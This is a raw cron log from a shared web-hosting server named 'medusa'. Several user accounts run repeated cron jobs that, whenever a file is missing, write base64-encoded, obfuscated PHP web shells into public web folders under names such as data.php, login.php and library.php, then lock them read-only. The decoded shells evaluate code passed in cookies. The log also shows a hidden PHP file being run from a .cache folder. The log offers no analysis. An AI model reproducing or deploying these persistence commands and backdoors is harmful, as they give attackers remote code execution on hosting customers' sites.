Mar  2 12:48:02 medusa CROND[32397]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:48:02 medusa CROND[32402]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:48:02 medusa CROND[32407]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:48:02 medusa CROND[32409]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:48:02 medusa CROND[32411]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:49:01 medusa CROND[19721]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:49:01 medusa CROND[19722]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:49:01 medusa CROND[19723]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:49:01 medusa CROND[19727]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 12:49:01 medusa CROND[19730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:49:01 medusa CROND[19731]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:49:01 medusa CROND[19732]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:49:01 medusa CROND[19729]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:49:01 medusa CROND[19735]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:49:01 medusa CROND[19736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:49:01 medusa CROND[19738]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:49:01 medusa CROND[19745]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:50:01 medusa CROND[8644]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 12:50:01 medusa CROND[8711]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 12:50:01 medusa CROND[8970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:50:01 medusa CROND[8972]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 12:50:01 medusa CROND[8973]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:50:01 medusa CROND[8974]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 12:50:01 medusa CROND[8975]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 12:50:01 medusa CROND[8971]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 12:50:01 medusa CROND[8983]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:50:01 medusa CROND[8978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:50:01 medusa CROND[8994]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:50:01 medusa CROND[8993]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 12:50:01 medusa CROND[8995]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 12:50:01 medusa CROND[8996]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:50:01 medusa CROND[8998]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:50:01 medusa CROND[9005]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 12:50:01 medusa CROND[8999]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 12:50:01 medusa CROND[9002]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 12:50:01 medusa CROND[9004]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 12:50:01 medusa CROND[8997]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 12:50:01 medusa CROND[9010]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
